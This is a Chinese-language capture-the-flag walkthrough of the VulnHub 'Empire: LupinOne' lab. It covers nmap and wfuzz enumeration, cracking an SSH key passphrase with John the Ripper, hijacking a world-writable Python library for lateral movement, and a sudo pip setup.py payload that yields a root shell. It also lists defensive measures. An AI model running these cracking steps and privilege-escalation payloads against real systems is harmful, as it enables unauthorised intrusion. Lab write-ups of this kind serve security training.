Empire: LupinOne靶场渗透
Empire: LupinOne
来自 <https://www.vulnhub.com/entry/empire-lupinone,750/#top>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.149
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.149
4,访问80端口开放的http服务
扫描枚举网站子目录
dirsearch -u http://192.168.23.149 -x 403,404
http://192.168.23.149/robots.txt
http://192.168.23.149/~myfiles/
http://192.168.23.149/manual/en/index.html
5,在旧版 Apache 中,~username URL 会映射到该用户主目录下的公开网页目录。如果服务器开启了 mod_userdir 模块,攻击者可以通过枚举 ~username 的形式发现服务器上存在的用户及其公开目录。借助 wfuzz 这样的工具,可以高效地自动化测试不同的用户名,从而找到如 ~secret 这样的隐藏路径,进而获取潜在敏感信息或利用点
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.23.149/~FUZZ
http://192.168.23.149/~secret/
你好朋友,我很高兴你找到了我的秘密,我创建了这样的内容来与你分享我创建的 ssh 私钥文件,
它隐藏在这里的某个地方,这样黑客就不会找到它并使用快速通道破解我的密码。
我很聪明,我知道这一点。
有任何问题请告诉我
你最好的朋友 icex64
继续在该路径下模糊测试以搜索文件
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://192.168.23.149/~secret/.FUZZ.txt
访问得到一个全是编码后的网页
http://192.168.23.149/~secret/.mysecret.txt
解码就能得到ssh私钥文件
Base58 编码的特征
1. 设计初衷
Base58 是 比特币 等加密货币体系里广泛使用的一种编码方式,主要用于:
- 地址表示(避免用户输错)。
- 替代 Base64,以去掉容易混淆的字符。
2. 字符集特征
Base58 的字符集由以下 58 个符号组成:
123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
特点:
- 去掉了 0(零)、O(大写字母 O)、I(大写字母 I)、l(小写字母 L),因为它们容易和其他字符混淆。
- 没有 + / = 这类符号(Base64 常见)。
- 全部由 大小写字母 + 数字 构成。
3. 长度特征
- 编码后字符串通常 较长,但比 Base64 短(因为没有填充符 =)。
- 没有固定的长度规则,但常见长度:
- 比特币地址:通常 26–35 位。
- IPFS CID、某些区块链交易哈希:可能更长。
4. 格式特征
- 全字符串只会包含上述 58 个字符。
- 不会出现 0, O, I, l, +, /, =。
- 通常作为“可复制粘贴”的 ID 或地址出现,常见在钱包地址、交易哈希、邀请码中。
- 在日志或数据包里看起来像一串“看似随机”的大小写字母+数字混合。
5. 检测方法
当你在分析日志或流量时,如果遇到可疑字符串,可以通过以下方式判断是否可能是 Base58:
- 检查是否只包含 Base58 字符集。
- 检查是否没有 0, O, I, l 等字符。
- 检查长度是否落在常见范围(比如 25–35 位时,很可能是加密货币地址)。
- 尝试解码,看是否得到合理的数据结构(如版本号+校验和)。
6. 典型应用场景
- 比特币地址(最常见)。
- IPFS CID(内容寻址标识符)。
- 区块链中的交易 ID、私钥/公钥编码。
- 某些邀请码/序列号(为了用户友好)。
一句话总结:
Base58 编码特征就是——由 58 个不易混淆的字母数字组成的字符串,不含 0/O/I/l/+/=/ 等符号,常见于加密货币地址、区块链标识和分布式系统 ID。
6,使用ssh2john生成一下密码本,然后再用john爆破一下,就可以得到密码了
使用 ssh2john.py转换私钥文件格式
- John the Ripper 不能直接识别 OpenSSH 的私钥格式。
- ssh2john.py 是一个转换工具(John 官方自带),可以把 SSH 私钥文件转化为 hash 格式,供 John 识别和破解。
- 命令:
/usr/share/john/ssh2john.py privatekey > passwd.txt- privatekey:解码后的私钥文件。
- passwd.txt:输出文件,里面是 John 能识别的哈希。
使用 John 爆破密码
- 如果私钥被设置了密码(passphrase),直接用来连接 SSH 会提示输入密码。
- John the Ripper 可以通过字典攻击或暴力破解尝试恢复出这个密码。
- 命令:
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt- --wordlist=...:指定字典文件。
- passwd.txt:刚才生成的哈希文件。
- John 会尝试字典中的每一个候选词,直到找到正确的私钥密码。
所以私钥密码就是P@55w0rd!
7,先给密钥文件赋予600权限,然后再ssh登录
chmod 600 privatekey
ssh icex64@192.168.23.149 -i privatekey
登录成功,然后再进行信息收集
再查看如何提权
发现一个能够以arsene用户权限执行的py文件
cat /home/arsene/heist.py
这个程序调用了webbrowser.open,我们可以尝试篡改这个所有人可读可写可执行的文件以实现提权
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
添加一条调用/bin/bash的程序
然后再sudo运行这个文件
sudo -u arsene python3.9 /home/arsene/heist.py
成功切换用户
横向移动的原理
这就是 横向移动(Lateral Movement) 的典型手法:
- 起点:攻击者先控制低权限用户(icex64)。
- 突破口:找到某个程序/配置,允许以另一个用户运行代码(sudo -u arsene)。
- 漏洞点:该程序依赖了一个可篡改的库文件(webbrowser.py),而这个库文件权限过宽(777)。
- 利用链:
- 修改库文件 → 注入恶意代码。
- 执行目标程序 → 被迫加载恶意模块。
- 获得新用户(arsene)的 shell。
本质是 劫持依赖(Dependency Hijacking):利用目标用户执行程序时会调用的依赖库,并篡改该库来执行任意代码。
安全启示
- 系统关键库文件绝不能设为 777。
- sudo 配置应避免直接运行依赖第三方库的脚本。
- 监控 /usr/lib/python*/ 下文件的完整性(如用 AIDE、Tripwire)。
总结一句话:
这个横向移动的原理就是——利用 低权限用户可写的系统库文件(webbrowser.py),劫持了 Python 依赖模块,当目标用户用 sudo -u arsene 执行程序时,恶意代码被加载,从而实现从 icex64 用户横向移动到 arsene 用户的提权。
8,然后再sudo -l看能否提权
搜索怎么通过pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
最后成功提权成为root用户
sudo pip 提权原理
1. 漏洞前提
- 当前用户可以执行:
sudo pip install ...
(也就是允许用 root 权限运行 pip)。 - pip 在安装包时,会执行 setup.py 里的 Python 代码。
- 关键点:setup.py 不仅仅定义安装逻辑,还能执行任意 Python 代码。
2. 攻击步骤分析
(1) 创建临时目录
TF=$(mktemp -d)
- mktemp -d 创建一个随机命名的临时目录(例如 /tmp/tmp.abcd1234),存放伪造的“包”。
- TF 保存该目录路径。
(2) 编写恶意 setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
- 在该目录中写入一个 setup.py 文件。
- 内容:
import os
os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)') - 作用:当 setup.py 被执行时,直接替换当前进程为一个交互式 shell。
- sh <$(tty) >$(tty) 2>$(tty) 确保 shell 与当前终端连接,而不是静默运行。
(3) 以 root 权限运行 pip
sudo pip install $TF
- pip install 时,会自动执行目标路径下的 setup.py。
- 因为这里是用 sudo 运行的 → 进程以 root 身份运行。
- 结果:攻击者得到一个 root shell。
3. 本质原理
- pip install 的实现机制:
- 解析 setup.py
- 执行其中的安装逻辑(实际就是执行 Python 代码)。
- 当你能用 sudo 运行 pip 时,就等于获得了一个能让你写的任意 Python 代码在 root 权限下运行的执行器。
- 所以,sudo pip 本质就是代码执行 → 提权。
4. 防御措施
- 禁止在 sudoers 中直接允许 pip。
- 使用 pip install --user,避免全局安装。
- 如果必须用 root 安装,推荐使用 python -m venv 隔离环境。
- 生产系统中可以通过 sudoers 白名单限制具体命令,而不是整个 pip。
总结一句话:
sudo pip 提权的原理是 —— pip 在安装包时会执行 setup.py,而 setup.py 是任意 Python 代码。当 pip 以 root 身份运行时,攻击者就能通过自制的包执行任意代码,从而直接获得 root shell。